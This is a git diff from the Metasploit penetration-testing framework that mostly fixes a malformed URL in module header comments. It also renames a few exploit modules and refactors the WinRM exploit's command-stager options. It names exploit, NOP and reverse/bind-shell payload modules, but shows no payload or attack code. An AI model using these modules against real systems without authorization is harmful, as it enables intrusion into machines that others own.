b/modules/exploits/windows/tftp/futuresoft_transfermode.rb index 904d395d53..964048e51a 100644 --- a/modules/exploits/windows/tftp/futuresoft_transfermode.rb +++ b/modules/exploits/windows/tftp/futuresoft_transfermode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb index dec7b81b91..1dda4114cb 100644 --- a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/opentftp_error_code.rb b/modules/exploits/windows/tftp/opentftp_error_code.rb index 22c225634a..0949f8ff23 100644 --- a/modules/exploits/windows/tftp/opentftp_error_code.rb +++ b/modules/exploits/windows/tftp/opentftp_error_code.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb b/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb index e279947f6f..2183c12283 100644 --- a/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb +++ b/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/tftpd32_long_filename.rb b/modules/exploits/windows/tftp/tftpd32_long_filename.rb index 87d8290a1b..119de0ce1a 100644 --- a/modules/exploits/windows/tftp/tftpd32_long_filename.rb +++ b/modules/exploits/windows/tftp/tftpd32_long_filename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow', + 'Name' => 'TFTPD32 Long Filename Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in TFTPD32 version 2.21 and prior. By sending a request for an overly long file name diff --git a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb index daf155d0eb..75131b6e09 100644 --- a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb +++ b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb index 96399818d8..3cbd5bf1d0 100644 --- a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb +++ b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb b/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb index 16616e0547..a02cbb277c 100644 --- a/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb +++ b/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/unicenter/cam_log_security.rb b/modules/exploits/windows/unicenter/cam_log_security.rb index 323e1fcc1b..4a673fd767 100644 --- a/modules/exploits/windows/unicenter/cam_log_security.rb +++ b/modules/exploits/windows/unicenter/cam_log_security.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/vnc/realvnc_client.rb b/modules/exploits/windows/vnc/realvnc_client.rb index 95b5e98c13..a479580f78 100644 --- a/modules/exploits/windows/vnc/realvnc_client.rb +++ b/modules/exploits/windows/vnc/realvnc_client.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/vnc/ultravnc_client.rb b/modules/exploits/windows/vnc/ultravnc_client.rb index fd6ffc5a46..4fd21103e0 100644 --- a/modules/exploits/windows/vnc/ultravnc_client.rb +++ b/modules/exploits/windows/vnc/ultravnc_client.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb b/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb index 6c0165dabf..2822427e85 100644 --- a/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb +++ b/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/vnc/winvnc_http_get.rb b/modules/exploits/windows/vnc/winvnc_http_get.rb index 9d6c3c176a..26bb1236d2 100644 --- a/modules/exploits/windows/vnc/winvnc_http_get.rb +++ b/modules/exploits/windows/vnc/winvnc_http_get.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ require 'msf/core' def initialize(info = {}) super(update_info(info, - 'Name' => 'WinVNC Web Server <= v3.3.3r7 GET Overflow', + 'Name' => 'WinVNC Web Server GET Overflow', 'Description' => %q{ This module exploits a buffer overflow in the AT&T WinVNC version <= v3.3.3r7 web server. When debugging mode with logging is diff --git a/modules/exploits/windows/vpn/safenet_ike_11.rb b/modules/exploits/windows/vpn/safenet_ike_11.rb index 3a9924b13b..24c94599c7 100644 --- a/modules/exploits/windows/vpn/safenet_ike_11.rb +++ b/modules/exploits/windows/vpn/safenet_ike_11.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/winrm/winrm_script_exec.rb b/modules/exploits/windows/winrm/winrm_script_exec.rb index d768e8b5d2..9001cd18a0 100644 --- a/modules/exploits/windows/winrm/winrm_script_exec.rb +++ b/modules/exploits/windows/winrm/winrm_script_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::WinRM - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote delivery: Powershell 2.0 and VBS CmdStager. The module will check if Powershell 2.0 is available, and if so uses - that method. Otherwise it falls back to the VBS Cmdstager which is + that method. Otherwise it falls back to the VBS CmdStager which is less stealthy. IMPORTANT: If targeting an x64 system with the Powershell method @@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'WfsDelay' => 30, 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'post/windows/manage/smart_migrate', + 'CMDSTAGER::DECODER' => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep") }, 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X86_64 ], @@ -59,12 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('PASSWORD', [ true, 'A specific password to authenticate with' ]), ], self.class ) - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_sleep")]), - ], self.class) + deregister_options('CMDSTAGER::FLAVOR') @compat_mode = false end @@ -78,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote return if path.nil? exec_script(path) else - execute_cmdstager + execute_cmdstager({:flavor => :vbs}) end handler end diff --git a/modules/exploits/windows/wins/ms04_045_wins.rb b/modules/exploits/windows/wins/ms04_045_wins.rb index 496487a791..4d7028f656 100644 --- a/modules/exploits/windows/wins/ms04_045_wins.rb +++ b/modules/exploits/windows/wins/ms04_045_wins.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft WINS Service Memory Overwrite', + 'Name' => 'MS04-045 Microsoft WINS Service Memory Overwrite', 'Description' => %q{ This module exploits an arbitrary memory write flaw in the WINS service. This exploit has been tested against Windows diff --git a/modules/nops/armle/simple.rb b/modules/nops/armle/simple.rb index 4d9771025b..a2ba2e1f56 100644 --- a/modules/nops/armle/simple.rb +++ b/modules/nops/armle/simple.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/php/generic.rb b/modules/nops/php/generic.rb index 842cfa57cf..0498fd6817 100644 --- a/modules/nops/php/generic.rb +++ b/modules/nops/php/generic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/ppc/simple.rb b/modules/nops/ppc/simple.rb index d5f0ad4269..73e0f0f4ed 100644 --- a/modules/nops/ppc/simple.rb +++ b/modules/nops/ppc/simple.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/sparc/random.rb b/modules/nops/sparc/random.rb index 487cf3ca56..6227cf4c38 100644 --- a/modules/nops/sparc/random.rb +++ b/modules/nops/sparc/random.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/tty/generic.rb b/modules/nops/tty/generic.rb index b1a321c60f..26f9189a55 100644 --- a/modules/nops/tty/generic.rb +++ b/modules/nops/tty/generic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/x64/simple.rb b/modules/nops/x64/simple.rb index 3472627110..7f4f84e2c5 100644 --- a/modules/nops/x64/simple.rb +++ b/modules/nops/x64/simple.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/x86/opty2.rb b/modules/nops/x86/opty2.rb index 0026606965..d45d90434e 100644 --- a/modules/nops/x86/opty2.rb +++ b/modules/nops/x86/opty2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/x86/single_byte.rb b/modules/nops/x86/single_byte.rb index 7355a12157..3607aa361f 100644 --- a/modules/nops/x86/single_byte.rb +++ b/modules/nops/x86/single_byte.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb index 920dce57dc..5b6d6062ab 100644 --- a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/aix/ppc/shell_find_port.rb b/modules/payloads/singles/aix/ppc/shell_find_port.rb index 9bd3ebbad2..bae90a97fa 100644 --- a/modules/payloads/singles/aix/ppc/shell_find_port.rb +++ b/modules/payloads/singles/aix/ppc/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/aix/ppc/shell_interact.rb b/modules/payloads/singles/aix/ppc/shell_interact.rb index 4d1f83e75b..1ae807e74e 100644 --- a/modules/payloads/singles/aix/ppc/shell_interact.rb +++ b/modules/payloads/singles/aix/ppc/shell_interact.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb index ba973570fb..4586fe491d 100644 --- a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb index 552fc9061d..00fbf09ade 100644 --- a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb index 1d168e91a7..a4dd685d30 100644 --- a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/exec.rb b/modules/payloads/singles/bsd/x86/exec.rb index 396f9ddc25..46a5b6b6a2 100644 --- a/modules/payloads/singles/bsd/x86/exec.rb +++ b/modules/payloads/singles/bsd/x86/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb index 8bbb5014d8..21d761e998 100644 --- a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb index ba40278c48..6ec4368e87 100644 --- a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb index 7f237e505d..5bd8b00320 100644 --- a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb index b7a639dc28..87e49ef425 100644 --- a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/shell_find_port.rb b/modules/payloads/singles/bsd/x86/shell_find_port.rb index 9038c2f443..ddeda9d31e 100644 --- a/modules/payloads/singles/bsd/x86/shell_find_port.rb +++ b/modules/payloads/singles/bsd/x86/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/shell_find_tag.rb b/modules/payloads/singles/bsd/x86/shell_find_tag.rb index 44db763236..65c5f9a91e 100644 --- a/modules/payloads/singles/bsd/x86/shell_find_tag.rb +++ b/modules/payloads/singles/bsd/x86/shell_find_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb index 8e45fbb2db..955985f8d1 100644 --- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb index 360bc1d40f..133bce6154 100644 --- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb index 12aeffb92e..b621318bf1 100644 --- a/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsdi/x86/shell_find_port.rb b/modules/payloads/singles/bsdi/x86/shell_find_port.rb index 59468b4500..ecdaf64e7d 100644 --- a/modules/payloads/singles/bsdi/x86/shell_find_port.rb +++ b/modules/payloads/singles/bsdi/x86/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb index 0a025232ff..3c69da4b4b 100644 --- a/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_awk.rb b/modules/payloads/singles/cmd/unix/bind_awk.rb index 9209c935df..b4e37e2c9c 100644 --- a/modules/payloads/singles/cmd/unix/bind_awk.rb +++ b/modules/payloads/singles/cmd/unix/bind_awk.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_inetd.rb b/modules/payloads/singles/cmd/unix/bind_inetd.rb index ed3c93fb8e..cb895e18dc 100644 --- a/modules/payloads/singles/cmd/unix/bind_inetd.rb +++ b/modules/payloads/singles/cmd/unix/bind_inetd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_lua.rb b/modules/payloads/singles/cmd/unix/bind_lua.rb index c3be536995..587914cd4f 100644 --- a/modules/payloads/singles/cmd/unix/bind_lua.rb +++ b/modules/payloads/singles/cmd/unix/bind_lua.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb index 9f4d433a40..6b9bc0f626 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb index 525dac6f87..b08cbf322f 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb index 13f13ef940..24ad18a119 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_nodejs.rb b/modules/payloads/singles/cmd/unix/bind_nodejs.rb index 057344a7ec..c6a1c5fd07 100644 --- a/modules/payloads/singles/cmd/unix/bind_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/bind_nodejs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_perl.rb b/modules/payloads/singles/cmd/unix/bind_perl.rb index 66ae6716de..01378801e5 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Unix Command Shell, Bind TCP (via Perl)', 'Description' => 'Listen for a connection and spawn a command shell via perl', - 'Author' => ['Samy ', 'cazz'], + 'Author' => ['Samy ', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb index 290ef86af4..056a27e296 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Unix Command Shell, Bind TCP (via perl) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via perl', - 'Author' => ['Samy ', 'cazz'], + 'Author' => ['Samy ', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/unix/bind_ruby.rb b/modules/payloads/singles/cmd/unix/bind_ruby.rb index fcfae1f30a..e574e7d61f 100644 --- a/modules/payloads/singles/cmd/unix/bind_ruby.rb +++ b/modules/payloads/singles/cmd/unix/bind_ruby.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb index 6672096a4c..011a75c19b 100644 --- a/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/bind_zsh.rb b/modules/payloads/singles/cmd/unix/bind_zsh.rb index 2d7218aa59..3786e9ac34 100644 --- a/modules/payloads/singles/cmd/unix/bind_zsh.rb +++ b/modules/payloads/singles/cmd/unix/bind_zsh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/generic.rb b/modules/payloads/singles/cmd/unix/generic.rb index 5c9adee336..b11fe6810f 100644 --- a/modules/payloads/singles/cmd/unix/generic.rb +++ b/modules/payloads/singles/cmd/unix/generic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/interact.rb b/modules/payloads/singles/cmd/unix/interact.rb index 1a318c8df1..13bb06ab67 100644 --- a/modules/payloads/singles/cmd/unix/interact.rb +++ b/modules/payloads/singles/cmd/unix/interact.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse.rb b/modules/payloads/singles/cmd/unix/reverse.rb index bf9d47f70e..a1336bfc18 100644 --- a/modules/payloads/singles/cmd/unix/reverse.rb +++ b/modules/payloads/singles/cmd/unix/reverse.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_awk.rb b/modules/payloads/singles/cmd/unix/reverse_awk.rb index c2ebe83e83..04f9b965be 100644 --- a/modules/payloads/singles/cmd/unix/reverse_awk.rb +++ b/modules/payloads/singles/cmd/unix/reverse_awk.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_bash.rb b/modules/payloads/singles/cmd/unix/reverse_bash.rb index 3fda72a0f1..92a6ad354e 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git 